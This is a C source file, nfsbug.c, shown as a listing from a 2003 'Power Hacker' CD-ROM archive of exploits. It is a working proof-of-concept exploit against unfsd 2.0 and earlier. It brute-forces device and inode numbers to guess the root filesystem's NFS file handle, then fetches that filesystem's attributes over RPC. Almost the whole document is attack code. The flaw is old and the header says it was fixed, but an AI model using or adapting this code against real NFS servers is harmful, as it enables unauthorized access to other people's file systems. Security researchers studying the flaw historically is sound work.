home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Power Hacker 2003
/
Power_Hacker_2003.iso
/
Exploit and vulnerability
/
hoobie
/
nfsbug.c
< prev
next >
Wrap
C/C++ Source or Header
|
2001-11-06
|
7KB
|
288 lines
/*
* nfsbug This program demonstrates a security problem in unfsd
* version 2.0 and earlier. It has been fixed now for almost
* a year, so I think it should be fairly safe to release the
* exploit code to the public.
*
* This program tries to guess the file handle of the root
* FS by trying reasonable combinations of device and inode
* number in succession, and attempting to get its attributes
* handle from the server. It stops when it receives a valid
* reply and prints out the results.
*
* You can speed up the search by providing the device or inode
* number you want to probe for using the -d and -i switch.
* Compile with gcc -Wall -o nfsbug nfsbug.c
*
* Copyright (C) 1995 O. Kirch
* This program may be distributed freely according to
* the GPL.
*/
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <getopt.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <rpc/xdr.h>
#include <rpcsvc/nfs_prot.h>
static CLIENT * client;
static char * prog;
/* dev_t and ino_t must match linux types, not client host types */
#define dev_t unsigned short
#define ino_t unsigned long
#define NO_DEV ((dev_t)~0)
#define NO_INO ((ino_t)~0)
/*
* This is the FH representation used by unfsd.
*/
typedef struct svc_fh {
unsigned long h_psi; /* 4 bytes */
unsigned char h_path[28]; /* 28 bytes */
} svc_fh;
/*
* Prototypes
*/
static int try_device(dev_t dev, ino_t ino);
static int try_inode(dev_t dev, ino_t ino);
static int pseudo_inode(dev_t dev, ino_t ino);
static CLIENT * nfsconnect(char *hostname);
static int nfscall(dev_t dev, ino_t ino, svc_fh *h);
static bool_t xdr_fh(XDR *xdrs, svc_fh *fh);
static bool_t xdr_getattrres(XDR *xdrs, attrstat *as);
int
main(int argc, char **argv)
{
char *hostname = "localhost";
char *end;
char c;
dev_t dev = NO_DEV;
ino_t ino = NO_INO;
int ok = 0;
if ((prog = strrchr(argv[0], '/')) == NULL) {
prog = argv[0];
} else {
prog++;
}
while ((c = getopt(argc, argv, "d:h:i:")) != -1) {
switch (c) {
case 'd':
if (!strncmp(optarg, "0x", 2))
dev = strtol(optarg + 2, &end, 16);
else
dev = strtol(optarg, &end, 10);
if (*end != '\0') {
fprintf(stderr,
"%s: bad device number %s\n",
prog, optarg);
exit(2);
}
break;
case 'i':
ino = strtol(optarg, &end, 10);
if (*end != '\0') {
fprintf(stderr,
"%s: bad inode number %s\n",
prog, optarg);
exit(2);
}
break;
case 'h':
hostname = optarg;
break;
case '?':
fprintf(stderr, "%s: unknown argument %c\n", prog, c);
exit(2);
}
}
if (optind != argc) {
fprintf(stderr, "%s: bad number of arguments\n", prog);
exit(2);
}
client = nfsconnect(hostname);
if (dev != NO_DEV) {
ok = try_device(dev, ino);
} else {
unsigned short major, minor;
for (major = 0; major < 256 && !ok; major++) {
printf("major %02x: ", major);
for (minor = 0; minor < 32 && !ok; minor++) {
printf("%x ", minor); fflush(stdout);
dev = (major << 8) | minor;
ok = try_device(dev, ino);
}
printf("\n");
}
}
if (!ok)
fprintf(stderr, "nfsbug: server seems to be immune\n");
return 0;
}
static int
try_device(dev_t dev, ino_t ino)
{
int ok = 0;
if (ino != NO_INO)
return try_inode(dev, ino);
for (ino = 0; ino < 10 && !ok; ino++)
ok = try_inode(dev, ino);
return ok;
}
/* Try if the given dev/ino combination yields a valid file handle for
* the FS root.
*/
static int
try_inode(dev_t dev, ino_t ino)
{
svc_fh fh;
memset(&fh, 0, sizeof(fh));
fh.h_psi = pseudo_inode(dev, ino);
if (nfscall(dev, ino, &fh))
return 1;
fh.h_psi = htonl(fh.h_psi); /* if client has different byte order */
if (nfscall(dev, ino, &fh))
return 1;
return 0;
}
/*
* Compute unfsd's pseudo inode numbers.
*/
static int
pseudo_inode(dev_t dev, ino_t ino)
{
unsigned long dmajor, dminor;
/*
* Assuming major and minor numbers are small integers,
* gravitate bits of dmajor & dminor device number to
* high-order bits of word, to avoid clash with real inode num.
*/
/* reverse (byte-wise) */
dmajor = ((dev & 0xf0f) << 4) | ((dev & 0xf0f0) >> 4);
dmajor = ((dmajor & 0x3333) << 2) | ((dmajor & 0xcccc) >> 2);
dmajor = ((dmajor & 0x5555) << 1) | ((dmajor & 0xaaaa) >> 1);
/* spread low-16 -> 32 with 0's in even posn */
dmajor = ((dmajor & 0xff00) << 8) | (dmajor & 0xff);
dmajor = ((dmajor & 0xf000f0) << 4) | (dmajor & 0xf000f);
dmajor = ((dmajor & 0xc0c0c0c) << 2) | (dmajor & 0x3030303);
dmajor = ((dmajor & 0x22222222) << 1) | (dmajor & 0x11111111);
dminor = (dmajor & 0x5555) << 15;
dmajor = dmajor & 0x55550000;
return ((dmajor | dminor) ^ ino);
}
/*
* Connect to the NFS server.
*/
static CLIENT *
nfsconnect(char *hostname)
{
struct sockaddr_in sin;
struct hostent *hp;
struct timeval tv = { 5, 0 };
int fd = RPC_ANYSOCK;
CLIENT *clnt;
if (!(hp = gethostbyname(hostname))) {
fprintf(stderr, "%s: unknown hostname %s\n", prog, hostname);
return NULL;
}
sin.sin_family = AF_INET;
sin.sin_addr = *(struct in_addr *)(hp->h_addr);
sin.sin_port = htons(2049);
clnt = clntudp_create(&sin, 100003, 2, tv, &fd);
if (!clnt)
clnt_pcreateerror("can't create client");
return clnt;
}
/*
* Call the NFS server
*/
static int
nfscall(dev_t dev, ino_t ino, svc_fh *h)
{
struct timeval tv = { 5, 0 };
struct attrstat res;
struct fattr *attr = &res.attrstat_u.attributes;
int rpcres;
rpcres = clnt_call(client, 1, (xdrproc_t) xdr_fh, h,
(xdrproc_t) xdr_getattrres, &res, tv);
if (rpcres != 0)
return 0;
if (res.status != NFS_OK)
return 0;
printf("\nGOT IT!\nfile system root attributes:\n"
"device: 0x%04x\n"
"inode: %ld\n"
"mode: 0%o\n"
"uid: %d\n"
"gid: %d\n"
"fsid: 0x%x\n"
"psi: %d\n",
dev, ino,
attr->mode, attr->uid, attr->gid,
attr->fsid, attr->fileid);
return 1;
}
static bool_t
xdr_fh(XDR *xdrs, svc_fh *fh)
{
return xdr_opaque(xdrs, (caddr_t) fh, 32);
}
static bool_t
xdr_getattrres(XDR *xdrs, attrstat *as)
{
struct fattr *attr = &as->attrstat_u.attributes;
if (!xdr_u_int(xdrs, &as->status))
return 0;
if (as->status != 0)
return 1;
return xdr_u_int(xdrs, &attr->type) &&
xdr_int(xdrs, &attr->mode) &&
xdr_int(xdrs, &attr->nlink) &&
xdr_int(xdrs, &attr->uid) &&
xdr_int(xdrs, &attr->gid) &&
xdr_int(xdrs, &attr->size) &&
xdr_int(xdrs, &attr->blocksize) &&
xdr_int(xdrs, &attr->rdev) &&
xdr_int(xdrs, &attr->blocks) &&
xdr_int(xdrs, &attr->fsid) &&
xdr_int(xdrs, &attr->fileid) &&
xdr_u_int(xdrs, &attr->atime.seconds) &&
xdr_u_int(xdrs, &attr->atime.useconds) &&
xdr_u_int(xdrs, &attr->mtime.seconds) &&
xdr_u_int(xdrs, &attr->mtime.useconds) &&
xdr_u_int(xdrs, &attr->ctime.seconds) &&
xdr_u_int(xdrs, &attr->ctime.useconds);
}